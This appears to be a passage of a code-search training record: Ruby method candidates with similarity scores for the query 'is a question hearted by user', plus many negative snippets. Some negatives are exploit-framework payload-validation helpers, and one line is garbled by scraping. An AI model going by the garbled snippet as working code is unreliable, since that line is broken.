super\n end", "def remove_from_favourites\n user_id = current_user.id\n yummly_id = params[:yummly_id]\n\n user_favourite_recipe = UserFavouriteRecipe.find_by(yummly_id: yummly_id, user_id: user_id)\n user_favourite_recipe.destroy\n\n redirect_to recipes_url, notice: \"Removed recipe from your list of favourite recipes\"\n end", "def destroy\n @friendship = Friendship.where(friend_id: [current_user, params[:id]]).where(user_id: [current_user, params[:id]]).last\n @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n\n #log_activity #doesnt work with call backs\n\n redirect_to :back\n end", "def destroy\n @knowledge = current_user.knowledges.find(params[:id])\n @knowledge.destroy\n\n respond_to do |format|\n format.html { redirect_to knowledges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_like = UserLike.find(params[:id])\n @user_like.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_user_likes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_quest = UserQuest.find(params[:id])\n @user_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to user_quests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n respond_to do |format|\n if @question.user == helpers.current_user && @question.destroy!\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n else\n format.html { redirect_to questions_url, notice: 'Question was not destroyed.' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @questionable = @question.questionable\n @question.destroy\n respond_to do |format|\n format.html\n format.json { head :no_content }\n end\n end", "def destroy\n @user_question_rate.destroy\n respond_to do |format|\n format.html { redirect_to user_question_rates_url, notice: 'User question rate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n Answer.force_all.find_by_id(params[:answer_id]).destroy!\n redirect_to edit_admin_learning_object_path(id: @learning_object.id, anchor: 'answer-settings'), :notice => \"Odpoveď bola odstránená.\"\n end", "def destroy\n @question = Question.find(params[:id])\n if [email protected]_deletable?(current_user)\n flash[:notice] = 'This question is not editable by you'\n redirect_to root_url\n else\n @question.destroy\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end \n end", "def destroy\n destroyed = Like.dislike(current_user, @resource)\n p 'the like was not destroyed' unless destroyed\n redirect_to root_url\n end", "def destroy\n @exam = @question.exam\n @question.destroy\n redirect_to overview_exam_path(@exam), notice: _('Question was successfully updated.')\n\n end", "def reject\n\tRelationship.where(:accessed_id => params[:id], :accessor_id => params[:request_id]).first.destroy\n\tredirect_to(requests_user_path(current_user))\n end", "def destroy\n @four_choice_question.destroy\n end" ]
[ "0.68115956", "0.63073474", "0.629593", "0.62125033", "0.6198942", "0.61807936", "0.6116383", "0.61032695", "0.60966", "0.6080001", "0.60681075", "0.6066643", "0.6058396", "0.6052819", "0.6052819", "0.6044474", "0.6042628", "0.60363734", "0.600123", "0.5997775", "0.5972447", "0.5956387", "0.5952285", "0.5952285", "0.59486216", "0.59237283", "0.59170926", "0.59079933", "0.5900931", "0.5899829", "0.5895541", "0.5888281", "0.5876066", "0.5871497", "0.58714867", "0.58689547", "0.58615386", "0.58610487", "0.58455044", "0.5838268", "0.5835043", "0.58328986", "0.5828742", "0.5822577", "0.58212084", "0.58205634", "0.5805544", "0.5798771", "0.57986665", "0.5795182", "0.5788607", "0.577738", "0.57767314", "0.5775397", "0.5772569", "0.57695806", "0.5765932", "0.5765683", "0.575929", "0.57575136", "0.5756048", "0.57538337", "0.57469666", "0.57456386", "0.5738057", "0.57372254", "0.5733786", "0.57288545", "0.57253635", "0.5724445", "0.5722652", "0.57194966", "0.57167095", "0.5716398", "0.57150465", "0.57100207", "0.5708513", "0.57064253", "0.5704918", "0.56984514", "0.5697919", "0.56957686", "0.568399", "0.5681463", "0.5680801", "0.56799376", "0.56796527", "0.5677108", "0.567611", "0.56751704", "0.56689805", "0.56669176", "0.56668943", "0.5663621", "0.56624854", "0.56547177", "0.56514204", "0.5650067", "0.5647384", "0.5646752" ]
0.7842063
0
returns true of false if a question is hearted by user
def heart?(question) self.hearts.find_by(question_id: question.id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def will_answer?\n return true\n end", "def answered?\n !answered_at.nil?\n end", "def answered?\n return @answered\n end", "def pending_answer?\r\n\t\t\treturn (@type == 'answer' && @state == 're')\r\n\t\tend", "def answered_questionnaire?(user)\n answered_users.include?(user)\n end", "def answered?\n !(%w(answered) & flags).empty?\n end", "def answered?\n !(%w(answered) & flags).empty?\n end", "def answered?\n !body.blank?\n end", "def answer?\n return @answer\n end", "def answered_by?(user)\n replies.exists?(:user_id => user)\n end", "def refresh_question?\n question_responses >= refresh_question_after\n end", "def someone_won?\n !!winnning_marker\n end", "def awaiting_dialog_response?\n dialog && dialog.question?\n end", "def respondent_already_answered?\n sibling_responses.exists?(user_id: user_id)\n end", "def ask?\n !bid?\n end", "def ask?\n !bid?\n end", "def respondent_already_answered?\n sibling_responses.where('user_id = ?', self.user_id).exists?\n end", "def check_answer(user_answer)\n self.answers.each do |answer|\n if answer.answer == user_answer\n return true\n end\n end\n return false\n end", "def asks_mentor_questions?\n !mentor_questions.empty?\n end", "def resp_guard_previously_collected?(question)\n answer_for(question, valid_response_exists?(\"PARTICIPANT_VERIF.RESP_GUARD\"))\n end", "def ham?\n ! spam\n end", "def peer_auditor_checked?\n !(self.auditor_result == 'None' || self.auditor_result == 'Comment')\n end", "def thanked_by?(user)\n result = self.notifications.where(:sender_id => user.id)\n !result.empty?\n end", "def beta_question?\n !display_timer?\n end", "def accept?(question)\n ! (ask(\"#{question} [YES/no] >\") =~ /n/i)\n end", "def answered?(flashcard)\n UserFlashcard.where(user: self, flashcard: flashcard).present?\n end", "def user_responded?(email:)\n @responses.any? { |r| r.email == email }\n end", "def completed_by? author\n response = responses.find_by(author: author)\n if ::Tasuku.config.update_answers && response && response.is_a?(::Tasuku::Taskables::Question::Answer)\n response.correct?\n else\n !!response\n end\n end", "def pic_answered?\n !!(@query.split('!')[0] =~ /P/)\n end", "def feedback_can_be_given?\n !has_feedback? && !feedback_skipped?\n end", "def has_answers?\n answer_count > 0\n end", "def gets? question, pounce = false\n knows? question or (pounce and pounces? question and guesses?)\n end", "def spam?\n !! spam\n end", "def hungry? ## a ? means answer is true or false\n @stuff_in_belly <= 2\n end", "def already_welcomed?(user)\n notification = Notification.welcomed_by(self.id, user.id)\n !notification.empty?\n end", "def answer_correct?(answer)\n @correct_answer == answer\n end", "def reply?\n !!in_reply_to_status_id\n end", "def respondent_is_not_author_poll?\n #\n # respondend.id == author.id\n\n if question.poll.author.id == user.id\n errors[:user_id] << 'author should not answer to his/her poll'\n end\n end", "def admited?\n return true unless admited_on.nil?\n end", "def aye?\n true\n end", "def someone_won_round?\r\n !!winner\r\n end", "def alerted?\n !alert_sent.nil?\n end", "def has_correct_answer?\n self.answers.any? { |answer| answer.correct }\n end", "def heart?(post)\n self.hearts.find_by_post_id(post.id)\n end", "def heart?(post)\n self.hearts.find_by_post_id(post.id)\n end", "def accepted_answer?(answer)\n answer.id == answer.question.accepted_answer_id\n end", "def knows? question\n @strength >= question.difficulty\n end", "def passed?\n voting? && has_met_requirement?\n end", "def offline_question\n return if check_online_object(@question)\n end", "def question?\n end_with?('?')\n end", "def question?\n if self.end_with?(\"?\")\n true\n else\n false\n end\n end", "def alert_user?\n # check the three necessary conditions\n # in order of increasing cost\n self.enabled? && have_statuses_changed?\n end", "def already_thanked?(topic)\n notification = Notification.thanked_by(self.id, topic.id)\n !notification.empty?\n end", "def hungry?\r\n # methods that return true or false\r\n @stuff_in_belly <= 2\r\n end", "def disputed?\n !bounty_claim_responses.where(value: false).empty?\n end", "def heart?(comment)\n self.hearts.find_by_comment_id(comment.id)\n end", "def responded_to?(kase)\n !!self.responses.find(:first, :conditions => [\"responses.kase_id = ?\", kase.id])\n end", "def questionGradable (question)\n return true if question.input.is_a? org.concord.otrunk.ui.OTChoice and question.correctAnswer \nend", "def questionGradable (question)\n return true if question.input.is_a? org.concord.otrunk.ui.OTChoice and question.correctAnswer \nend", "def hungry?\n # method naam kan eindigen met \"?\"\n # dit is gebruikelijk om te doen als de methode\n # true of false terug geeft\n @stuff_in_belly <= 2\n end", "def participates?(user)\n author == user || receiver == user\n end", "def has_starred?(question)\n qid = question.is_a?(Integer) ? question : question.id\n sql = User.escape_sql(\"SELECT 1 FROM starred WHERE user_id = ? AND question_id = ?\", id, qid)\n User.count_by_sql(sql) > 0\n end", "def hi_enquiry(*args)\n self.update_attribute(:bot_response, hi_response)\n return false\n end", "def concluded?\n state == :answered || state == :canceled\n end", "def timeis_up\n current_user.submit_answers\n render text: true\n end", "def user_wants_to_join?\n @data['event']['text'].downcase != 'no'\n end", "def meets_challenge?\n true\n end", "def answered?\n return false if question.blank?\n # If the question is option based then see if any options were selected\n return question_options.any? if question.question_format.option_based?\n # Strip out any white space and see if the text is empty\n return text.gsub(%r{</?p>}, '').gsub(%r{<br\\s?/?>}, '').chomp.present? if text.present?\n\n false\n end", "def someone_won?(brd)\n !!detect_winner(brd)\n end", "def spam?\n p [:spam, @spam]\n (@spam == \"True\" || @spam == \"Yes\") ? true : false\n end", "def should_show_maiden_name_and_nicknames?(question)\n ri = false\n event_type_code = event.try(:event_type_code).to_i\n case event_type_code\n when 13\n ri = true\n when 18\n pv1_events = person.contact_links.select do |cl|\n cl.event.try(:event_type_code) == 13\n end.map(&:event).uniq\n ri = pv1_events.last && !pv1_events.last.try(:completed?)\n end\n answer_for(question, ri)\n end", "def enough_responses?\n game.current_round.response(self).count >= game.current_round.question.answers\n end", "def spam?\n if @spam == \"True\" || @spam == \"Yes\"\n return true;\n else\n return false\n end\n end", "def confirmed?(user)\n confirmed_interpreters.include?(user)\n end", "def has_essay?\n essay != nil\n end", "def is_guy? \n return false\n end", "def hungry?\n # end a method with ? if it returnes true or false\n @stuff_in_belly <= 2\n end", "def won?\n # Fill this in\n end", "def allow_easy_notifiaction?\n this_and_closer_members_count <= self.user.max_easy_notification_count\n end", "def response_to(mate)\n acceptance = false\n if @sex == Female and mate.sex == Male\n reaction = rand\n acceptance = (reaction <= mate.attractiveness/1000.0)\n end\n acceptance\n true\n end", "def answered?\n\n if answers.length == 0 \n return false\n end\n\n if answers.last.rationale_choices.size > 0\n\n #\n # The last answer is a list containing only one item, and it\n # does not contain a key for :choice_id. This is the answer we\n # generated in the case of unselecting a previous selection.\n # I.e. user is resetting to the default unselected state.\n # {:answer=>\"not answered\"}\n #\n\n return true\n end\n\n return false\n\n end", "def hungry?\n\n\t\t @stuff_in_belly <= 2\n\t\tend", "def first_answer?( )\n not @first_answer.nil?\n end", "def compare_answer\n\n if @question.answer == @user_answer \n return true\n end\n\n # return false if incorrect\n false\n\n end", "def respondent_already_answered?\n sibling_responses.exists?(responder_id: self.responder_id)\n end", "def remind?\n offset = HyperAlerts::Application.config.access_token_reminder_offset\n\n if reminded?\n return false\n end\n\n if infinite?\n return false\n end\n\n if expires_at > offset.from_now\n return false\n end\n\n if user.email.blank?\n return false\n end\n\n true\n end", "def can_give_kudos?\n if self.kudos_given_by_user_in_past_week < MAX_WEEKLY_KUDOS\n return true\n end\n return false\n end", "def mandate_recently_given?\n @mandate_given && (@mandate_given.is_a?(TrueClass) || @mandate_given.to_s =~ /^(yes|1|true)$/i) ? true : false\n end", "def claimable?\n # can this invite be confirmed!\n ( pending? or declined? ) and !roster.full?\n end", "def revealed?\n @revealed\n end", "def true_false_questions?\n for question in questions\n if question.true_false\n return true\n end\n end\n\n return false\n end", "def won?\n won_checker\n end", "def hearted?(article)\n self.hearts.pluck(:article_id).include?(article.id)\n end", "def has_answered(question)\n return question.responses.find_by(beta_user_id: self.id)\n end", "def user_voted?(user)\n !!users_vote(user)\n end", "def has_response?\n if @answers.nil? then\n false\n else\n rc = false\n @answers.each do |answer| # loop through Answers\n if !answer.value.blank? then # any response is good enough\n rc = true\n break\n end\n end\n rc\n end\n end", "def someone_won?(brd)\n !!detect_winner(brd)\nend", "def confirmation?(user)\n Contact.find_by_user_id_and_friend_id_and_status(user.id,self.id, 1) ? true : false\n end", "def reply?\n !self.in_reply_to.nil?\n end", "def reply?\n !self.in_reply_to.nil?\n end" ]
[ "0.7389369", "0.72982675", "0.7278289", "0.7177625", "0.71670824", "0.71299946", "0.7026616", "0.70253575", "0.69203264", "0.68335927", "0.6819003", "0.6810846", "0.67823905", "0.6777736", "0.6777602", "0.6777602", "0.6767202", "0.6729927", "0.6611233", "0.65895814", "0.65794814", "0.6578051", "0.6576526", "0.65734357", "0.65615106", "0.6551854", "0.652603", "0.6521697", "0.65001136", "0.64935195", "0.6486951", "0.6485823", "0.646658", "0.644419", "0.6443227", "0.6442123", "0.6427707", "0.64238095", "0.6417012", "0.6412452", "0.64004403", "0.63915306", "0.6378837", "0.63733697", "0.63733697", "0.63544273", "0.6353304", "0.6350535", "0.6347862", "0.63389856", "0.6336094", "0.6329958", "0.6328379", "0.6328062", "0.6323153", "0.6312465", "0.63095194", "0.6300023", "0.6300023", "0.62962073", "0.6294577", "0.6292652", "0.6287398", "0.6284248", "0.6282094", "0.627842", "0.6274556", "0.62712693", "0.6270281", "0.6269412", "0.62577444", "0.6246528", "0.6245784", "0.62405246", "0.6233726", "0.6231484", "0.62286216", "0.6226061", "0.62251663", "0.6224608", "0.62202066", "0.62178373", "0.6212037", "0.6208521", "0.6195506", "0.61919236", "0.61852026", "0.61848843", "0.61828303", "0.6175533", "0.6174382", "0.6170995", "0.6170386", "0.6167907", "0.61653394", "0.6164209", "0.6163211", "0.61619544", "0.6158889", "0.6158889" ]
0.72249275
3
If we have an explicit refspec, check it against incoming payloads Special case: if we do not pass in any payloads, return true
def needs_push(payloads=[]) return true if payloads.empty? return true if push_mode==PUSHMODE_MIRROR refspec_parse = explicit_refspec.match(/^\+?([^:]*)(:[^:]*)?$/) payloads.each do |payload| if splitpath = refcomp_parse(payload[:ref]) return true if payload[:ref] == refspec_parse[1] # Explicit Reference Spec complete path return true if splitpath[:name] == refspec_parse[1] # Explicit Reference Spec no type return true if include_all_branches && splitpath[:type] == "heads" return true if include_all_tags && splitpath[:type] == "tags" end end false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_valid_payload?\n\t\treturn self.payload_hash == self.calculate_payload_hash\n\tend", "def has_valid_issue_ref?(body, general_ref_spec, flake_config)\n body.scan(general_ref_spec) do |reference|\n $stderr.puts \" Determining if reference ##{reference[1]} meets criteria...\"\n issue_id = reference[1].to_i\n if issue_has_label?(issue_id, flake_config['repo'], flake_config['label'])\n $stderr.puts \" Reference ##{reference[1]} points to a valid flake issue\"\n return true\n end\n end\n\n return false\n end", "def is_ref? ; !!metadata[:ref] ; end", "def valid?\n mandatory_keys = %w[message stacktrace]\n return false unless mandatory_keys.all? { |key| @payload.key?(key) }\n return false if @payload['stacktrace'].empty?\n\n true\n end", "def valid?\n # If payload does not contain the sha_sign definitely return false.\n return false unless payload.sha_sign\n\n signature == payload.sha_sign\n end", "def valid_git_refspec?(refspec)\n refspec.match(GIT_REFSPEC_REGEX)\n end", "def valid_payload?(payload)\n return false if expired?(payload) || meta_valid?(payload)\n\n true\n end", "def include_payload?\n include_payload.nil? ?\n true :\n include_payload\n end", "def valid_refspec_path?(refspec)\n !refspec || refspec == '' || parse_refspec(refspec) ? true : false\n end", "def compatible_payload?(payload)\n # Try to use the target's platform in preference of the exploit's\n exp_platform = exploit.targets[target_idx].platform || exploit.platform\n\n return ((payload.platform & exp_platform).empty? == false)\n end", "def validate(payload)\n # read all committer emails\n committers = payload.commits.map{ |c| c.author.email }.uniq\n\n # validate all commits are from the pusher\n if committers.count > 1\n {:failure => \"Includes commits from #{committers.count} committers\"}\n elsif !committers.include?(payload.pusher.email)\n {:failure => \"Committer doesn't match pusher\"}\n else\n {:success => \"All commits match pusher\"}\n end\nend", "def verify#todo\n #if its a fault, then its a no for sure\n #otherwise make sure all the fields are the right type, and are initialized etc\n true\n end", "def allowed?(payload)\n !!determine_namespace(payload)\n end", "def is_payload_compatible?(name)\n p = framework.payloads[name]\n\n return false unless p\n\n # Skip over payloads that are too big\n return false if payload_space && p.cached_size && p.cached_size > payload_space\n\n pi = p.new\n\n # Are we compatible in terms of conventions and connections and\n # what not?\n return false if !compatible?(pi)\n\n if self.needs_cleanup && !pi.can_cleanup\n return false\n end\n\n # If the payload is privileged but the exploit does not give\n # privileged access, then fail it.\n return false if !self.privileged && pi.privileged\n\n return true\n end", "def malformed_request?\n from_json\n @coffee.nil? || @order.nil?\n end", "def payload?\n\t\treturn (type == MODULE_PAYLOAD)\n\tend", "def updated?(new_payload)\n payload != new_payload\n end", "def ref?\n schema[\"$ref\"]\n end", "def validate(ref_name)\n not_allowed_prefixes = %w(refs/heads/ refs/remotes/ -)\n return false if ref_name.start_with?(*not_allowed_prefixes)\n return false if ref_name == 'HEAD'\n\n begin\n Rugged::Reference.valid_name?(\"refs/heads/#{ref_name}\")\n rescue ArgumentError\n return false\n end\n end", "def references?\n [email protected]?\n end", "def validate_payload\n Rails.logger.warn(\n \"#{self.class} doesn't validate_payload(), assume payload is valid\",\n )\n true\n end", "def can_fire?(object, requirements = T.unsafe(nil)); end", "def needs_checkout?\n expected = ref.sha1\n actual = rev_parse('HEAD')\n\n ! (expected == actual)\n end", "def validate\n # First, validate that a target has been selected\n if (target_idx == nil)\n raise MissingTargetError,\n \"A payload cannot be selected until a target is specified.\",\n caller\n end\n\n # Next, validate that a payload has been selected\n if (payload == nil)\n raise MissingPayloadError,\n \"A payload has not been selected.\", caller\n end\n\n # Make sure the payload is compatible after all\n if (compatible_payload?(payload) == false)\n raise IncompatiblePayloadError.new(payload.refname),\n \"#{payload.refname} is not a compatible payload.\", caller\n end\n\n # Associate the payload instance with the exploit\n payload.assoc_exploit = exploit\n\n # Finally, validate options on the exploit module to ensure that things\n # are ready to operate as they should.\n exploit.options.validate(exploit.datastore)\n\n # Validate the payload's options. The payload's datastore is\n # most likely shared against the exploit's datastore, but in case it\n # isn't.\n payload.options.validate(payload.datastore)\n\n return true\n end", "def invalid?\n @ref.invalid?\n end", "def signatures_match?\n expected_signature == api_signature\n end", "def validate_refspec\n begin\n valid_git_refspec_path?(explicit_refspec)\n rescue => e\n errors.add(:explicit_refspec, e.message)\n end\n end", "def well_formated_response?\n all_expected_fields_received? && validate_bank_response_signature\n end", "def expect_payload_to_have(additional_structure)\n actual_payload = a_push.payload\n expected_payload = default_expected_payload.merge(additional_structure)\n expect(actual_payload).to eq(expected_payload)\n end", "def valid?(message)\n super do |payload|\n payload.get(:data, :code_fetcher, :info, :commit_sha) &&\n !payload.get(:data, :code_fetcher, :asset)\n end\n end", "def missing_check v \n v.one_of_type? Hash, LinkSpec\n end", "def validated?\n\t\t%w(to to_name from from_name subject body).each do |key|\n\t\t\treturn false if content[key].nil?\n\t\tend\n\t\ttrue\n\tend", "def meta_valid?(payload)\n payload['iss'] != meta[:iss] || payload['aud'] != meta[:aud]\n end", "def isCreditCard(payload)\n cardNo = getCreditCard(payload)\n if cardNo.nil? # indicates no card found\n return false\n else\n return true\n end\nend", "def has_field_reference(obj, key)\n value = obj[key] if obj.is_a? Hash\n return value.nil? ? false : !value.empty?\n end", "def has_patches?\n [email protected]?\n end", "def valid_oxum?\n bag_info[\"Payload-Oxum\"] == payload_oxum\n end", "def valid_body?\n request.feedback.body && valid_json?(request.feedback.body)\n end", "def check_for_invalid_external_references(record, logical_urls)\n if record.respond_to?(:to_array)\n record.each {|e| check_for_invalid_external_references(e, logical_urls)}\n elsif record.respond_to?(:each)\n record.each do |k, v|\n if k == 'ref' && !logical_urls.has_key?(v)\n URIResolver.ensure_reference_is_valid(v, RequestContext.get(:repo_id))\n elsif k != '_resolved'\n check_for_invalid_external_references(v, logical_urls)\n end\n end\n end\n end", "def reference?\n @gapi_json.nil?\n end", "def canary?\n @got.respond_to?('__stack_chk_fail') || @symbols.respond_to?('__stack_chk_fail')\n end", "def ensure_not_referenced_by_any_bet\n if bets.empty?\n return true\n else\n errors.add(:base, 'Bets present')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_work\n if line_works.empty?\n return true\n else\n errors.add(:base, 'Line Works present')\n return false\n end\n end", "def valid?\n return false if @push_uri.nil?\n return false if @terms_uri.nil?\n return false if @checkout_uri.nil?\n return false if @confirmation_uri.nil?\n true\n end", "def evocations?\n\n\t !evocations('n08112402').nil?\n\n\tend", "def verify_ref_1l_condition\n Unified835Output::BenignNull.new\n end", "def referenced_one?\n metadata && metadata.macro == :references_one\n end", "def empty?\n @references.each do |_, ref|\n return false if ref.object\n end\n\n true\n end", "def _conforming?\n @collection.each do |elt|\n return false if @wrapfunc_in.call(elt) != elt\n end\n true\n end", "def true(argvs)\n return nil unless argvs\n return nil unless argvs.is_a? Sisimai::Data\n return nil unless argvs.deliverystatus.size > 0\n return true if argvs.reason == 'mailboxfull'\n\n # Delivery status code points \"mailboxfull\".\n # Status: 4.2.2\n # Diagnostic-Code: SMTP; 450 4.2.2 <***@example.jp>... Mailbox Full\n require 'sisimai/smtp/status'\n return true if Sisimai::SMTP::Status.name(argvs.deliverystatus) == 'mailboxfull'\n\n # Check the value of Diagnosic-Code: header with patterns\n return true if match(argvs.diagnosticcode)\n return false\n end", "def is_aref?(); @type == GRT_AREF; end", "def valid_payload(payload)\n if expired(payload) || payload['iss'] != meta[:iss] || payload['aud'] != mata[:aud]\n false\n else\n true\n end\n end", "def check fields, obj\r\n fields.each{ |field|\r\n if not obj.respond_to? field then\r\n return false\r\n end\r\n }\r\n return true\r\n end", "def contains_object(obj_name)\n key = obj_name.to_s\n @defs.keys.member?(key) or extra_inputs_has(key)\n end", "def receives_obj?(other_object)\n\n return false if other_object.done_being_received?\n \n if self.class.xdef['axis'] && self.class.received_jsonmodel_types.include?(other_object.jsonmodel_type)\n \n if self.class.xdef['axis'] == 'parent' && @object.depth - other_object.depth == 1\n true\n elsif self.class.xdef['axis'] == 'ancestor' && @object.depth - other_object.depth >= 1\n true\n elsif self.class.xdef['axis'] == 'descendant' && other_object.depth - @object.depth >= 1\n true\n else\n false\n end\n \n else\n # Fall back to testing the other object's source node\n offset = other_object.depth - @object.depth \n receives_node? ASpaceImport::Crosswalk::regexify_xpath(other_object.xpath, offset)\n end\n end", "def is_legacy_jenkins_notification?(payload)\n payload.is_a?(JenkinsJsonPayload) && params['build'].nil?\n end", "def push_applicable?\n return false unless push_type_supported?\n\n method = \"has_#{self.push_target}?\"\n return true unless @errata.respond_to?(method)\n\n @errata.send(method)\n end", "def patch_valid?\n validate(false).empty?\n end", "def reference?\n @grpc.nil?\n end", "def all_expected_fields_received?\n @signature_fields ||= %w(idterminal idcomercio idtransaccion importe moneda coderror codautorizacion firma).map{|value| value = value.to_sym}\n [email protected]? && @fields.areset?(@signature_fields)\n end", "def gemspec?\n !gemspecs.empty?\n end", "def same_repo_pull_request?\n payload = Hashr.new(self.payload)\n\n pull_request = payload.pull_request\n return false unless pull_request\n\n head = pull_request.head\n base = pull_request.base\n return false if head.nil? or base.nil?\n\n base_repo = base.repo.try(:full_name)\n head_repo = head.repo.try(:full_name)\n return false if base_repo.nil? or base_repo.nil?\n return false if head.sha.nil? or head.ref.nil?\n\n # it's not the same repo PR if repo names don't match\n return false if head_repo != base_repo\n\n # it may not be same repo PR if ref is a commit\n return false if head.sha =~ /^#{Regexp.escape(head.ref)}/\n\n true\n rescue => e\n Travis::Scheduler.logger.error \"[request:#{id}] Couldn't determine whether pull request is from the same repository: #{e.message}\"\n false\n end", "def equal?(obj)\n if obj.respond_to?(:is_poxreference?)\n _referenced_object.equal?(obj._referenced_object)\n else\n _referenced_object.equal?(obj)\n end\n end", "def verify_params(params)\n return false if params['Body'].to_s.empty?\n return false if params['Body'].to_s.bytes.size > 1600\n return false unless /\\+\\d+$/.match(params['To'])\n true\n end", "def ensure_not_referenced_by_any_item\n if items.empty?\n return true\n else\n errors.add(:base, ' Items present')\n return false\n end\n end", "def receive_verify_post(params, request)\n if request.post?\n [:action, :email, :send_id, :sig].each { |key| return false unless params.has_key?(key) }\n\n return false unless params[:action] == :verify\n\n sig = params[:sig]\n params.delete(:sig)\n return false unless sig == TriggermailClient.get_signature_hash(params, @secret)\n\n _send = self.get_send(params[:send_id])\n return false unless _send.has_key?(:email)\n\n return false unless _send[:email] == params[:email]\n\n return true\n else\n return false\n end\n end", "def ok?\n @specs.all? do |spec|\n spec.runtime_dependencies.all? do |dep|\n @specs.find { |s| s.satisfies_requirement? dep }\n end\n end\n end", "def valid_gemspec?\n gemspec_helper.valid?\n end", "def valid_gemspec?\n gemspec_helper.valid?\n end", "def valid_gemspec?\n gemspec_helper.valid?\n end", "def specification_identified?\n self.specification_attached? || !self.document_link.blank?\n end", "def is_mandatory\n # Uncomment the following line for CWA unaries (not nullable, just T/F)\n # @references[-1].is_unary ||\n [email protected]{|ref| !ref.is_mandatory || ref.is_unary }\n end", "def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end", "def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end", "def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end", "def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end", "def ok?\n @specs.all? { |spec|\n\tspec.dependencies.all? { |dep|\n\t @specs.find { |s| s.satisfies_requirement?(dep) }\n\t}\n }\n end", "def verify_object(hash, expected, verify_nesting)\n [verify_attributes(hash, expected)] + [verify_objects(hash, expected)]\n end", "def ==(other) # :nodoc:\n @payload == other.payload\n end", "def required?\n spec['Required']\n end", "def ==(other_payload)\n return false unless other_payload.kind_of?(HTTY::Payload)\n (other_payload.body == body) && (other_payload.headers == headers)\n end", "def ==(other_payload)\n return false unless other_payload.kind_of?(HTTY::Payload)\n (other_payload.body == body) && (other_payload.headers == headers)\n end", "def ensure_not_referenced_by_any_line_item\n if basket_items.empty?\n return true\n else\n errors.add(:base, 'Basket Items present')\n return false\n end\n end", "def is_well_formed?\n\t\t\treturn self.node_stack.length == 1\n\t\tend", "def is_ext_ref?\n (ctrl_status & EXT_REF) != 0\n end", "def missing_specifications_detected\n # FIXME: Write propper logic for this\n #(IP_FIXER_HUB.nil? || IP_LOOKUP_URL.nil?) ? true : false\n end", "def valid?\n @obj && obj_class_data\n end", "def valid?\n return false if @author_email.nil?\n return false if @repository_url.nil?\n return false if @sha.nil?\n pattern = Regexp.new(\"^[a-fA-F0-9]{40}$\")\n return false if @sha !~ pattern\n true\n end", "def square_valid?(refs)\n square = []\n\n refs.each do |ref|\n square << grid[ref[0]][ref[1]]\n end\n\n square.size == square.uniq.size ? true : false\n end", "def valid_post_body?(post_body, signature)\n hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('SHA256'), @channel.line_channel_secret, post_body)\n Base64.strict_encode64(hash) == signature\n end", "def valid?(message)\n super do |payload|\n (!block_given? || yield(payload)) &&\n payload.get(:data, :stacks, :builder) &&\n payload.get(:data, :stacks, :asset) &&\n allowed?(payload)\n end\n end", "def valid?\n @ticket.present?\n end", "def is_it_for_sure?\n @comments.any? do |comment|\n comment['version'] == @spec.version and comment['works_for_me']\n end\n end", "def check_ref(ref, revision)\n # First check that revision is present\n begin\n git.show(revision)\n rescue Git::GitExecuteError => e\n STDERR.puts \"[#{DateTime.now} #{to}] Issue when checking revision #{revision}: #{e}\".yellow\n return false\n end\n\n # TODO: check that branch and tags contains the change\n return true\n end", "def valid?(struct)\n return true if whitelisted_value?(struct)\n\n struct.is_a?(Hash) && valid_struct?(struct)\n end", "def is_true?(request, params)\n return (evaluate_path(params) & expected_values).any?\n end", "def check_payload(json, model,\n exclude = nil, # fields that should not be present\n allow = nil, # fields to check, overriding model accessible_attributes. Note: silently ignored if not an accessabie field - use augment!\n augment = [:server_time]) # non-DB fields to check for existence and format\n return check_reply(json: json, model: model, exclude: exclude,\n allow: allow, augment: augment)\n end", "def valid_hashes? signature\n refs = signature.find('.//ds:Reference', DS).map{ |r| r['URI'][1..-1] }\n\n without_signature = LibXML::XML::Document.document(signature.doc)\n without_signature.find_first('//ds:Signature', DS).remove!\n # The XML digested must be canonicalized as per the W3's specification\n # at http://www.w3.org/TR/xml-c14n\n c14n = without_signature.canonicalize\n digest = Base64.encode64(Digest::SHA1.digest(c14n)).chomp\n\n refs.all? do |ref|\n hashed_element = @doc.find_first(\"//*[ID='#{ref}']\")\n digest_listed = signature.find_first('.//ds:DigestValue', DS).content\n\n digest == digest_listed\n end\n end", "def check\n len = 0\n @sig_waveforms.each do |pair|\n values = pair[1]\n if len == 0\n len = values.length\n else\n return false if values.length != len\n end\n end\n return true\n end", "def 